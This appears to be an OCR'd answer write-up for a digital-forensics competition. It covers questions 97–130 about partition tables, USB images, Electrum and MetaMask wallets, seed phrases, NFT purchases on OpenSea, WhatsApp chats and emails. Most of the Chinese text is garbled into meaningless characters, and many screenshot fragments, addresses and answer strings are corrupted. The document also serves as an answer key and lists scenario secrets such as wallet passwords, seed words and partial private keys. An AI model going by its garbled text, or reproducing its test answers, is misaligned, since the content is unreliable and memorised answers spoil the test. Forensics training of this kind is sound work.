=BT Case01-20231106-15515640
JRIEEE I 0\ Meiva_cup_2022%\Gr:
A=BF v [ 8~
ZHESHERNT
B FE1_NO NAME([C] nd
SR FATSZ 2 [ = CE
JE |

2)

A.1
B.2
c.3
D. 4
E.0

Z=: 8B

BUEXBRA Hsk2 Mo X :

Card KingHo_Memor

lard. dd

&

97.[ERi%RE] 1S4RICIZF LIERF XK (Partition Table) &Fifl, iBiIZRHEBEL4FE (Partition) ? (1

B 7 Tess | o mEmmen | mmmem T e

BE v BE v BH v EE -

iTiE O\Meiya_cup_2022\Group\lmage\KingHo\KingHo_Memeary_Card\KingHo | Q, | EBidiE

=& = Case01-20231106-155156
Bo B BTk

o D RE
---D =8 O\Meiya_cup 2022\Group\image\Rooney\Rooney Desktop\Roor
=R seup \Image\KingHo\KingHo _Memory Card

0@ £5X1_NO NAME[C]

JllZ EEE
LEnEE ¢ KingHo_Men
25Nt «w I 0w

FE MifE

1 &3 55X 1 _NC

2 @HXe Ft

3 EEahmsX

4 £ iBEERX

98.[ikE] MMicIC R LBRAXFSRN, B-ANFEESFEN (Partition Code) 14?2 (143)

A. 07
B. AF
c.ocC
D. 2B
E. 01



B=E: A

DiskGenius&&RIA]:

) DiskGenius V5.5.0.1488 x64 T kiR - [m]
LR ®EED) SRE) IR HS(V) =EH)

=

Q s
M HESR REYH HESK SR M BRGR SHoR  Resi

<P
=3
MBR

=

2824 [ 1:File BE:Disk Image HE&:7.5GB(7623MB) HEE:973 BLE255 SEFEREE3 SEKE:15623408
— HDO:WDPCSN810SDCPNRY-512G-10C | X8 jiswit BREE

=

-~ SYSTEM(0) BiF FEWE) MRS R EeEE Bk BE  SGEE BEL BX =E Bt
~~MSR(1) . ~- IP_CAM(0) 0 FATZ2  0OC o 32 a3 522 75 1 4,068
@-~> Windows(BitLockerBitlockerME&) (|| __ iz-q(q) 1 NTFS 07 52 75 2 %1 71 6 3468
~= 71X (3) -
~~ FilN#E(BitLockerBitLocker/Z) (D:)
-~~~ Windows RE tools(5)
 HD1:CT1000P3SSD8(932GB)
~~ MSR(0)
- ~ ﬁﬂﬂﬁ(BltLu:kerBlth:kEr}Jﬂﬁ) (E9)
mrmrsmmmm—- T Eila E=AIE-

99.[251%R7] iICIZFAEEREERGEZE, IS FSIRNREEE? (253)
A. BFRIREH (Directory Entry) SR

B. BEE X% (Master Boot Record) SR

C. X443k (File Allocation Table - FAT) Zi7

D. 3SR X (Boot Sector) ZiR

E. A LEBIRER

Z==: AD
EE— P XHNBEREMEIUSBIAE, PBENEHREESR:

[B) DiskGenius V5.5.0.1488 x64 SlAR - o
THF) BED) SEPF) IR BEY) TsH)

QO as@S2wD

BN BESK ®EXH HEsR FROX KRt BRSE SH5ER  RARFR

4P
=3
MBR

B4 #[:File 22=:Disk Image F=:7.5GB(7633MB) HE#:973 MIHE:255 SEMXE63 SMEXE:15633408

- HDO:WDPCSN810SDCPNRY-512G-10C | HES# JS30E HEHE
~~ SYSTEM(0) \

~~= MSR(1) — N .
~~ Windows(BitLockerBitLocker/&) (1 o+ &0 H R EiE ma ERIRTIE] BEEEE

i ?20kd 2o T RS ?okd_SBo 2033-03-30 00:00:00 2033-03-30 00:00:00
~ HE(3) - -

) ) | 1og = LoG 2022-10-08 14:47:00 2022-10-08 14:47:01
-~ I (BitLockerBitLockerE) (@) | s RecORD MOTION it MUIA_~2 2022-10-09 14:00:00 2022-10-09 14:00:00
i ow S RELooE ) MUIA_RECORD_VIDEO #sE MUIA_~1 2022-10-09 14:46:38 2022-10-09 14:46:38
8- HD1:CT1000P3SSD8(932GE) System Volume Information i HS SYSTEM~1 2022-10-08 09:33:16 2022-10-08 09:33:15
A SR()  USBCs. 16GB it USBCEs.
~~ #illl% (BitLockerBitLockerZ) (E:)
[ HD2:5anDi: 1863GB)

~~ Extreme SSD(F:)
E _ HD3:SeagateExpansion(932GB)

BAFoXIRBIER, EIMBRIERE. ERPX_HNNXHRFLERE], NESX I DBR ZH3R,
SEXEZIR, FATLZIREIL.

100.(15=:8) A LR, BESRRFNMRERE, il FEESOMHIENEREIN? (ATH{aL 0
) 39

&= 8

=]

USBCIREAThex2 55 53 42 43 FO, 3RS PMER:

s X-Ways Forensics: #1524 - [KingHo_Memory_Card] - =) X
- HF) REE) BRES) SWN) ZEV) TRM TWITR@N) #RO) @OW) #HEhH) 19.8SR-5x64 - & x
I DsP8=srFa | < B AAL Y oble (SSemOAB. @ BEA @
L) EED) KingHo_Memory_Card [KingHo_Memory_Card, £ 2| KingHo_Memory_Card, 5 1 | R¢HRER |
s BRAE SXSER: MBR —_— sEFER - H
o A07" MERE BEEE (ﬁi TERER ER$-CE=373 T T eERERE TG
- 13631488 P USBCEs  * \€ 225
== K'"gHOTMem'Z-C“d 3 13643776 s UsBCie
sos 14696448 CPO36 48 d PURIEEE B W B hn
aHk2 ™ 30|49|554 P 936 ;gcygﬁm:ém B 2B4T2USBCh? *7ccipia 2xth
| 3644011600 [CP 936 i} VA 7 | N S N —

401 977732 CP936 5/
465537693 CP936 M]d!
1012510720
1023759952
1106218170
1259729722
1467558233
1584178858
1589921589
2365185718
2470810515

175312 7#uSbCE " :
#4i0e uZE?USECEE  + \€
"?ZFI7t  uSBc fHiwr A
its UsBCZE? 25
2 IUSBCZ & 282 A 35

2701467648
2702305572 CP936 Hqyess/ 77 ?
2763767570 CP936 usdfinis & BNAUSHOE B 82 P FM 7

D -m2  Oxf @S D8 O

offser |0 1 2 3 4 5 & 7 8 © 101112 131815) /

s = vt 1 HE




101.[Zi%&8] il RE—NNHRSK (File System) FHE—MEIF 12, ERISHA-256I5HK(ER
‘F7E003781456D2E01CFEOEB46988D5BB433ADF9841164BBB90BAC67C0CIB21AF’, ZIYRET
TIRLERAR? (293)

A A

B. Ll

C.I8%

D. 3BT

E. XK=

&= BE

IREAIT—IES:

mi2022/10/09 04:31:27

S Dumosamamex -

" Ceag

102.[583EERE] ASAICIZRAOEMRE, 122022610 B9RLIFRF 1209553 F 12031553 ZBRIFR G (Video)
R, BELIM—IPiBi? (293)

A.61.238.217.108

B. 155.137.190.123

C. 192.168.1.66

D. 185.200.100.242

E. 213.104.156.111

Z=:D

RESE—



y ==

1202210/09 12:
1000 x 562

21 World Live Whais 1P Source

URTReRC ]

vogp il P CAmEaNes |
:__“‘_ § it 49 s et T
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i AL e 1M jag

paireats RIS
~— 2 b
h-h"

'
Ietnden 1 e g '._:,‘;—::::—"‘“"
" Ot ot LA S
L1 Y " ;uw
e T

,mmw.m

106.[58i%RA] BARRRIITENE M AR RILAGELLISTHEE (Bitcoin Wallet)? (153)
A. MetaMask

B. Electrum
C. Trezor

D. PALESIE

Z=:B

PEHE, —ARTE:



HEERSHEE

107. 1R BB LS HEERISFREE, SHEBRRITENRFN, BRIEESEEERILL
$5itblk (Bitcoin Address) Bt 4? (IIABRXRITH{AEFEIE) (153)

#22: BC1QOROL3LH63WY865CD560KN3UHJQRWGGVTY4Z)8N

BEwhatsappHIRiER:
| EESE Q| P < iB OEKEB5269394584@swhatsapp.net) > | 7= 2i5(852603045840 Q| @®aAR
@ =3%(8526939... /102
AR (5) O (1) Y= (1) i (1)
) (85296746641 @s.... 2 = ot (]

~ £i5(85269394584@s.whatsapp.net) (2022-10-06 18:43:06)
4 200, HemLHTrEREE

(2022-10-06 18:43:36)(85259814785@s.whatsapp.net)Rooney

()
aILALE >

(2022-10-06 21:13:57)(85259814785@s.whatsapp.net)Rooney

~
bc1qOr0I3Ih63wy865cd560kn3uhjqrwggvty4zi8n <

£i%(85269394584@s.whatsapp.net)(2022-10-06 21:17:12)
OK

)

(2022-10-06 23:09:23)(85259814785@s.whatsapp.net)Rooney ~

108.[ERjERE] BARHIENE RIS S LLUISHIEAFIRERERIZER? (153)
A. 1%

B. 4%
C.7%
D. 10%
E. 15%



i
b

D

‘E2whatsappHlRicR:

— {u{u\ = ~ J & R et il iedeleiueduttud o widde’ || MmN e = ~ ]

£i5(8526939...
5(85296746641@s.... 2

Eas ) CHasa (1) &z ) RECED

2
2]

2022-10-06 18:43:36

(2022-10-06 18:43:36)(85259814785@s.whatsapp.net)Rooney

4
AJLAEF a
2022-10-06 21:13:57
(2022-10-06 21:13:57)(85259814785@s.whatsapp.net)Rooney
bc1q0r0I3Ih63wy865cd560kn3uhjgrwggvty4zj8n a

2022-10-06 21:17:12

RIE(85269394584@s.whatsapp.net)(2022-10-06 21:17:12)
o K
2022-10-06 23:09:23

(2022-10-06 23:09:23)(85259814785@s.whatsapp.net)Rooney
FRHREAR 0% iEE a

. 1A . . I

109.[E25%638] BARAYITEINES—NMREMBRILLISHHERE, SHEISHTF (Recovery Seed) AEEM
—ANEXF? (19)

A. oppose

B. area

C. twice

D. roast

Z=:D

hEHE, KIrckBiRBINE, SAFIHESseediIA:

~
)

8 Electrum 4.3.1 - rc [standard]
File Wallet WView Tools Help

I Histo # 3 le
. i & Electrum - Seed e

Date Your wallet generation seed is: palance

7 2022-10-0f oo deck . 0.000247
- OppOS SCENE Weapoll ares gaze suymer trice desk pulse split
@7 2022-10-01 comal raceoan 0.00255311

-
1 wallets

Please save these 12 words on paper {order is important). This seed will allaw
you to recover your wallet in cam of computer failure.

WARNING:

» Never distlose your seed.
» Never type it ona website.
» Do not store it electrondcally.

Mot connected

[ re3 6/10/2022 22:06
»

D rcd 7/10/2022 1711

D rcS 6/10/2022 22:14



110.[$i&RH] BRI RINERZ LM INET (Encrypted) RILLISHEEE? (193)
A1

B.2
C.3
D.4
E.5

B=E:E

BRT rcLASMRITR SN B INEERY -

wallets

= O x
@ - N HEr = BE-
< v <« Electrum » wallets v G L #ES wallets
£ B guAE == *
~ HiEEE
. [ re 7/10/2022 17:11 SE 12 KB
M =E »
[ ret 6/10/2022 21:41 =F- 3 KB
4 FEH »
[ re2 6/10/2022 21:53 = 3 KB
g tf »
[ re3 /10,2022 22:06 =E 3 KB
BA »

[ rea 7/10/2022 17-11

[ res 6/10/2022 22:14

B o
i}
i

il

kL

o

&

e

h s
i}
i
%

> o OneDrive

111 [5i%ER] BARRISINE T RILLSh i SR EREFEMITENN—MIRE, IMIENEIEBRM4?
(MXBZ=X R FEE) (353)

A.DMG

B. PDF

C.ASD

D.zIP

E. PNG

B=E: C

ZEUEAIMERIT X, KMRasd:

BE m &8 =H
=

AT MiEE RiERS  ARERE

a| =z XS BRI ieiE) BEENEE ST RN (F15)
o0 DiEmERE) O 1 [ esra@imEsi asd 2022-10-0621:53:19  2022-10-06 22:37:54  2022-10-06 21:53:19 27,136
& [10:AMeiya_cup y_Desktop 2
EIRGS-2Y )
- (CIFFm(1)
B0 EAERSTE(1)

BlssziE(1)



FEREEEH (BE - Word (ESREZERD

MHER
\ggd CERTIESR - BEIEREW RC1 —root12345
S RC2 - root23456
@ = (=5 RC3 - root34567
EREELTETEREL.
6/10/202221:53 RC4 — rootd5678

RC5 - root56789

T
)
]

112.[2i%RE] BIREFNMERT—MIFTHLLSDEE, tRBMARBERCIZEEENREEIRNE
B—HMELEH? (293)

A. Safepal

B. Metamask

C. Changelly

D. Opensea

F=x: C
BERBHIEE:
0902980 @ © 5 88% B10:26
X

¥ 0.0021 BTC &ZjiXZFIChangellyith
ht:

3BpUTAZXYyYrzMUjfjh5edxTFt

6u98zbZY

suwe |

02:59:35

BRI RERE, SRR BRIENHN

X BFE

B0
8ecpladhnqelae7i (¥
1BRE
0.0021 BTC

L
1 BTC = 14.66571189 ETH

B RinFa0.25%
= J O O e




113.[ERiERR] AL, RUREHRINZBEDHABEEMEREMA? CARKUTC+3EIE) (253)
A. 2022-10-07 10:290%
B. 2022-10-07 11:06R3
C. 2022-10-07 11:070¢
D. 2022-10-07 13:548%

E=: C

BNARR™E, KEKEIENA, RETHRITEAC, BARABERRCHERBRZ5THITEE:

06O O ® 5 72% W 13:54
BTC Bl ETH X
O xB=R
A7 51D 8ecpladhngelae7i 5]

8 0.0021 BTC

#AECUWE 07 Oct 2022, 10:29:08
iC=E 1 BTC = 14.61562988 ETH
LT S 71f324cf4785a93balcfaf731d...

[ EEEREEMNBNER

¢ 0.02829818 ETH

HECHERIE 07 Oct 2022, 11:07:20
e ——

IR 0.002401 ETH
e 0x21Fd8B7fB21...0Ec5da97074f
Hitia 0x79bb1585¢cf6673dadcbafl67...

([ EEXRE EARHIAE




114. [ BARTET SN B R B LGRS (Browser) RIE(H4 BEARTEITEMMAYTENRE
‘MetaMask’ ? (LARIRUTC+8[EE) (153)
A. Chrome 2022-08-25 12:350}

UNw

o
m M

A

3]

A BUEASD
RAHF) (S)

\

WEV) BEF) TAM ®EH)

B = =

B REMAE BE SRS
B =HEE | © =6EES
LfE&SH v

WERE v BES v 2

asd

= & L EHBNE432329)

. Chrome 2022-10-07 14:290%
Firefox 2022-08-25 12:350%
. Firefox 2022-10-07 14:2903

& & [10:\Meiya_cup_
B RESRn(1383)
w = CFEB(543)
B @ LRITR(8637)
Einternet Explorer(19)

o € Cookie(187)
©=0E8(2)
=0 @EFICR(6551)
©0 6 THERA)
© BRIHIENCT(6)
@ | @Microsoft Edge(1607)
= FBESH71161)
m X 0E5H7(350594)
BRTAR(11)

B pe vavicl fi

HWENE R

LHHRAASEIERAE, TJRERM T, BEUEAITRY:

{02723 (=3
SSAE » Rooney desktope0l » ERIER » Google Chrome » FEIER

ARESJEEIURL R EEIFE SHIEDREL T FEAURL BERAE =
22 i msn, .. IR 2022-08-25 114657 5 https://windows.m... IER
23 [ https;//www.google.com/search?q=... electrum 1 - Google 28 2022-08-2512:31:47 2 https://www.goog... IER
24 [ https://www.google.com/search? electrum 84 - Google 128 2022-08-2512:31:49 2 https://www.goog... IEH# =
25 [1httpsi/electrum.org/ Electrum Bitcoin Wallet 2022-08-251231:52 1 https://electrum.org/ TER
26 [ httpsi/electrum.org/#home Electrum Bitcoin Wallet 2022-08-251231:52 1 https://electrum.or... IE&
27 [ https;//electrum.org/#download Electrum Bitcoin Wallet 2022-08-25 1231557 1 https://electrum.or...

[ https://chrome.google.com/websto... Chrome & I FEF3ZzRS) 1 https://chrome.goo.

T T

[ https://chrome.google.com/webstor... MetaMask - Chrome 8 - FEF3EstAsE 2022-08-25 123529 1
31 [ https//chrome.google.com/webstor... MetaMask - Chrome 58 FEFEtRSIE 2022-08-25 1 53 1
2 Dok i i MetaMask 2022-08-25 123555 2 chrome-extension/...
33 [ chrome-extension://nkbihfbeogaeao... MetaMask 20220825 123556 ’
34 [ chrome-extension://nkbihfbeogaeao... MetaMask 2022-08-2512:35:56 2 chrome-extension:
35 11 chrome-extension://nkbihfbeogaea... MetaMask 2022-08-25 12:36:12 2 chrome-extensi
36 [ chrome-extension://nkbihfbeogaeao... MetaMask 2022-08-251236:13 2 chrome-extension:
37 [ https://www.google.com/search? download - Google 28 22-08-25 1 2
38 [htps; google.com/search? download - Google 12 1220825 13: B
39 [htps; i Windows Download for Remo... 2022-08-25 1 1 https://www.teami... I3

‘]CDDDDDDDQDDCDDDDDD%
8

115.[58i%3%] BARRTEIT SR EFREEAYIERRILEIE (Non-Fungible Token - NFT) {ERIH—AMHXIR

§i& (Blockchain) AR? (19)

A. Ethereum
B. Polygon
C. Solana

D. Arbitrum
E. Klaytn

=X A

RRTIENFT, KINEICR:

* BUEAIT

XF BEE) WEV) WEP) IEM  =EH)

B DiERERA446)

S

BiERS

BRES 185

& [10:AMeiya_cup
3 S2SHT(9)
= FEES17(69)
B @ FRIER(305)

5| @Google Chrome(305)
& Google ChromeE#iT(267)
P cogi cronezic=ian|
©Google Chrome Cookies(7)
& Google Chromel@FiTR(7)
® 1 SIERHE3)

1 A2 ] s

mEmE

ADIDDDDDDDCDZDDDDDDDDD%
by

BRESEEIURL RE SR SHIEREL
[ https://www.blocktempo.com/nft-th... SELL | Pak (The Fungible) NF.. 2022-09-1617:15:55 2
P! om/usps. [NFTE#] ... 2022-09-16 17:16:10 1
[ https://www.blocktempo.com/epi Epic Games Store_ E&E—3RNF 1
[ https: blocktemp tiktok... $HE5C : EESITE .. L
[ hetps: I p google.com/searc... 2022-09-16 3
[ http: I https; le.com/searc... 2022-09-16 3
[ https://yi m. f ke 55 HEET.. 2022-09-16 1
[ https: google.com/search?q-=... http google.com/searc... 2022-09-16 3
[ https://www.youtube.com/watch?v=... NFT34/%E NFTA\PJ EE)4210000... 2022-09-16 19: 1
[ https://www.google.com/search?q=_.. nft art generator - Google 18 ~ 2022-09-16 2
[ https://www.google.com/search?q=_.. nft art generator - Google 188  2022-09-16 19:14:37 2
[ https://nit-generator.art/ NFT Art Generator - No-Code N... 2022-09-16 19:14:42 2
[ https://nft-generator.art/ NFT Art Generator - No-Code N... 2022-09-16 19:14:42 2
[ https://nft-generator.art/app NFT Art Generator - NFT Creato... 2022-09-16 1
[ https://opensea.io/ OpenSea, the largest NFT marke 4
L https://opensea.io/ OpenSea, the largest NFT marke 4
[ https://opensea.io/ OpenSea, the largest NFT marke... 2022-10-07 4
[0 https://opensea.io/ OpenSea, the largest NFT marke... 2022-10-07 1 4
] https://opensea.io/asset/create Create NFTs | OpenSea 2022-10-07 2
https://opensea.io/assets/ethereu... _|OpenSea, the largest 1
[ https://opensea.io/asset/create Teate NITs [Opensea 2

JFBAURL
https://www.blockt... IE#
https://www.block... IEH
https://www.blockt... TE#
https://www.blockt... IE%
https://www.googl... TE3#
https://www.googl... TE&
https://yiwu.com.tw... IE%
https://www.googl.. IE%
https://www.yout... IE#
https://www.googl.. IEH
https://www.googl.. E#
https://nfi-generat... IE% =
https://nft-generat... IE#
https://nft-generat... IE#
https://opensea.io/ IE®
https://opensea.io/ IE#
httpsi//openseaio/ IE#
https://openseaio/ IER
https:/

116.[8ikRR] BARRTEH 2 BHARIEHE T SN PEUZAYAERIBRILEIE (NFT) FE? (LARIXUTC+8EIE) (2

2)

A. 2022-10-07 14:470%
B. 2022-10-07 14:49R%
C. 2022-10-07 14:52R%
D. 2022-10-07 14:54H%



B=E: C

HopenseafJBRIER, FIXMist itemEURGENE:

IAm

wEn(H)

openseaio
=1 DERER(Q263)
& [10:\Meiya_cup y D
@ B HSHTE)
= @ ERIBF(256)
= ©Google Chrome(256)
@ Google ChromeE#IZR(213)
[{e00ge Chomeziazes)|
& Google Chrome Cookies(19)
©Google ChromeZIZR(1)
[ EIEREH(1)

16
17
18
19
20
21
22

-000000000 DODDDDGDSDD%

BRIIERIURL

[ https://opensea.io/

[ https://opensea.io/

[l https://opensea.io/login?referrer=/account
https;//opensea.io/account
https://opensea.io/account?tab=created
https://opensea.io/asset/create

D (55 [ [ [ [ [ [

https://opensea.io/account

/(TN assets/ethereum/(

[ https://opensea.io/account
[ https://opensea.io/account?tab=created
[ https://opensea.io/account

£ http

[ https://opensea.io/account

[ https://opensea.io/asset/create
[l https://opensea.io/account

[ https://opensea.io/account

N

2.

N

i

OpenSea, the largest NFT mark...
OpenSea, the largest NFT mark...

Login| OpenSea

Your Profile | OpenSea
Your Profile | OpenSea
Create NFTs | OpenSea

. OpenSea, the largest NFT mark...

00d Luck - Untitled Collectiol
0od Luck - Untitled Collectior

. Good Luck - Untitled Collection...

Your Profile | OpenSea

Your Profile | OpenSea
Your Profile | OpenSea
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A. Metamask
B. Opensea
C. Safepal

D. YouTube

K2 AB

BB R, NMiZZER T metamask{ffi#&lk, openseat&{titik:
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118.[EA%RH] BARRAYFENE, F2022-10-07, 15:0783ZF15:0803fid+AEE? (LARIXUTC+8[EE) (2

3)

A. EF 'Metamask’

B. & ‘Opensea’

C. B&E&El (Screen Capture)
D. &3 ‘YouTube’

E=: C

WRRRER, TEZIE K Eopenseafyif[aIZ15:07, iAEET :



D000 06 06 MmO v

O opensea.io &
# Ethereum Main Metwork

Your purchase is complete

View on Etherscan  Show details

Subtotal 0.0253 ETH
Gas fees 0.0013 ETH

Total price 0.0266 ETH
$35.92

View purchase

119.[Si%RE] A LB, MZANEEREERIIHAER? (19)

A. Opensea.io
B. Ethereum Main Network
C. Your purchase is complete

D. Subtotal = 0.0253 ETH
E. Good Luck

Z32: ABCDE

MskEXopensealIBEGIER—IEE, ALULIATERIIFIREHIT.
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‘MetaMask’ FEZVINFEHRET? (RE@MA ', AWME{AZFEZ, 40 0.137 FEZ 0137) (29)

&= 00247

metamaskERFEEERT :
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O Mot connected
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& rREES. & 00247ETH >

Don't see your token?

Refresh list or import tokens
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121.{RZ:] BRI RIS B 2 BBl S RABEPIKS? (FEMAERFPR '@ K", UXEEX
REAR{AKFEE, 1 name@mail.com, FEE NAMEMAILCOM) (143)

Z32: ROONEYCHAN19830801GMAILCOM

BEENSRRCRIRBH A LUKTERAE:

m &8 &6 = © =2

® i S MERS ARES IAE  AES
5 SEEE | © SeiRes | biEERs | RRESR X | Qsmuem
LEaSH v KSEZ v BS v 2 a7 B

NFT al =% EFHEUE » Rooney desktope0l » EFHER » Google Chrome » FEAES
5 B L EHEE432329) S v MAEE O RSEEwE IR
& [ []0:\Meiya_cup_: D s FRER FRIE BIEIFAE BUERATIE) IIEREL mnﬂxx
@ RGRR(1383) O 1 [ price 0.0253 2022-10-07 14:53:57 2022-10-07 14:53:57 1
& BIFBPm(43) [® 2 |8 identiier ____lrooncychan19830801@gmail.com _

B @ FRISR(8637)
% | Einternet Explorer(19)
@ @Google Chrome(7011)
=0 @ FHEIER(209)
@ BRICR(52)
@ o @ Cookiel(187)


mailto:name@mail.com

122.[18=55/7] (A BHpMS BiEWGE _LiR B Hpith 2 XRIBHE? (FEWMASZERPY '@ R, LUKXE
BN RARASFEL, t name@mail.com, EE%Z NAMEMAILCOM) (1%3)

ZZ: KINGHOOOWOGMAILCOM

HL 7 piiE RSB MR B ARHERRE R T :

NZ =S B
EzEUE » King_HO_MacBook_Computer.E01 » BMEEEHT » MacMail » kinghooOwO@gmail.com » [Gmail] » EFEEM4E

9 Chun Hei LAM 22-10-06 20:18 & S v MARE el e FIFFBET
Re: Zi
) Apple 22-08-19 14:11 tips
e N HEA: rooney CHAN <rooneychan19830801@gmail.com>
# King Ho Wong 22-10-06 20:26 A . : : . -
A | amsinabooluO@omailcomakinghooQuO@amailcom .,
Re: E3 )
3 Feedly 22-10-07 09:20 HE&EPEIP' 209.85.22041
Your trending stories on Feedly, October 06 FTED: 2022-10-07 16:53:04
) Apple 22-0823 0915 Mk Recovery Seed.zip (0 Byte) I Fiff
<AD> Save on Mac or iPad for college with y...
) Apple 22-10-07 09:53
=AD= iPhone 14 Plus is here.
# rooney CHAN 22-10-07 16:53
tips

123.[BiERAR LR, LiRRBHRRHAE SMLLABIRORER? (39)
A. pdf
B. doc

C. png
D. txt

E. jpg

&=z DE

BRI EF AT LA ENIX AN, BUEXIRS Y, Fwinrar/f&ER1A]:

o rebuiltRecover Seedzip & - EEsA Biarvh #H

| 3Dprinter.txt 25,037 57,531 IS0

| Cyberattack.xt 15,586 39,091 IrEITE

i recovery seed,jpg 984,528 1,069,261 JPG BRI
124.[1H555H] LiRFBHBMHERAI M, WERMRXBFEMNA? UXBEREXEE) (3573)
EES

BRI, FEREXEIZeach:

TEElectrumBIX 4R Fe ik Elwordlist :


mailto:name@mail.com

_I z Histoooys @ mend = Keceive Bl Addreses _ hannels oloms

@ - N OBE = BBE -
< v « glectrum @ waordlist E A ) O #2 wordlist
2 " CRAEL: =]
v % EEER
L =] english 11/11/2000 19:11
B E= ]
= slip3g 11/11/2000 19:11
+ TH
. i english - =&
= fF b
R EE ; = R 5
0 == abandon
ability
& =F able
_ about
REnEA above
abzent
» @ OneDrive abzorh
abetract
abzurd
> I F8 abuge
Arirpas

.

Get-Content .\english.txt | findstr /e "each" fmEEFFEI2MA, HfSteachiSIEEIT

4 Electrum - Install Wizard ? ¢

Enter Seed

Flease enter wour seed phrase in order to restore your wallet.

-f;";-;v teach hard goddess mask sleohol eveboow illegal quit edit shaft pil fouist

BIP39 (checlkam: ak) Cptions
e ———

Warning: BIP32 seeds can be imported in Electnum, s that nsers can access funds locked in other
wallets. Howewer, we do not generate BIF20 zeeds, becanse they do not meet our safety standard .
BIP39 zzedz do not tnclude a version nomber, which compromizes compatibilite weith fotre
mftware. We do not guarantes that BIP39 imports will alwaaes be supported. in Electrom.

125. B A RHE _LiR B HERHA B EI A EISFHF (Recovery Seed), i+EBAfETE ‘MetaMask’ fEFIRY
LAK™ (Ethereum) iitfit, (327=: BIP-44 derivation path = m/44'/60°/0'/0/0) (PAKXS 3 K i

(BEFEE) (353)

&2 0X2AAEAB9592B749CE6355ED19D048F86FSEASD819

BIP39 - Mnemonic Code (iancoleman.io)§ A\seed, BEEHER:



https://iancoleman.io/bip39/

Derived Addresses

Note these addresses are derived from the BIP32 Extended Key
O Encrypt private keys using BIP38 and this password: : Enabling BIP38 means each key will take several minutes to generate.
(] Use hardened addresses

Table csv

Path Address Public Key Private Key

m/44’ /60’ /0° /0/0  0x2aAEAb9592b749CE6355Ed19D048F86F5eA5D819  0x0229eabb3f7b573ab695£18falf289759637735a9¢8d95d295ec94fe969c044ada  0xle05eelTe6c8042c622

m/44’ /60’ /0’ /0/1  0x9C1c8160B648£c0852FCIe8B8829£372940173Df  0x02ch4134533ecchb5d9IfT806d942£9024b83a1d0e672b079346828b7e9fdbbl6eba  0x3244476885415d8c901

m/44’ /60’ /0° /0/2  0x37356ba530E518a178822dEb69b55c1deeAT27Ea  0x02d7bf7c419403d0f93bdf31e94220e0debe5fI602827bbedc1£5ef30f1b97a3al  0x20e6017890af6fa383a
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A. (REHENIE?

B. B ZRIMTE(RRANRIS(EIEENS?

C. BT REBE?

D. Ipng?

B=x: C
EEwhatsappHlXicR:

|i‘| = RN | P < i8> @5/A(85269394584@s.whatsapp.net) > | 7£ &4£(85269394584@ Q |

& 5i5(8526939... /102

75(85296746641@s.... 2

Has s O (1) & Es (1) (y=a (1
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e REZ=ND

2022-09-28 18:51:33

(2022-09-28 18:51:33)(85259814785@s.whatsapp.net)Rooney

S5t (85269394584@s.whatsapp..:~t)(2022-09-28 18:49:33): @
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AES

B. i&{F

C. hieis

D. higiE
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EZEARELT, AEfEwhatsapplIlIRICRE, MEAFHEER:



= 1620

16:23 &

16:23 &

IREREATEN? .0

-
1

TEA - Bl@108158 » FHR » ®
ﬁ-ﬂﬁ]ﬂﬁgﬁﬁﬂﬁﬁﬁﬁlﬁ? 18:04

128.[1{HZ=] BBRFHAY ‘WhatsApp’ 1821142 (S 18 ) @s.whatsapp.net? (LARHBEEFEIE) (1
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%22 85259814785

EREKSEEHT:
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~ . Rooney... /185 85292430127 @s.whatsapp.ne

WPER 1
BEA 1
e BB ETAR1N ARSI
129.[ SR BA RO FHN SRR LA T IB— A WIFIRIZE? (253)
A. taiiphone

B. rooneyhome
C. Function Room
D. TP-Link
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A. abcd5678

B. aaaa0000
C. rooney111
D. rdfu1234
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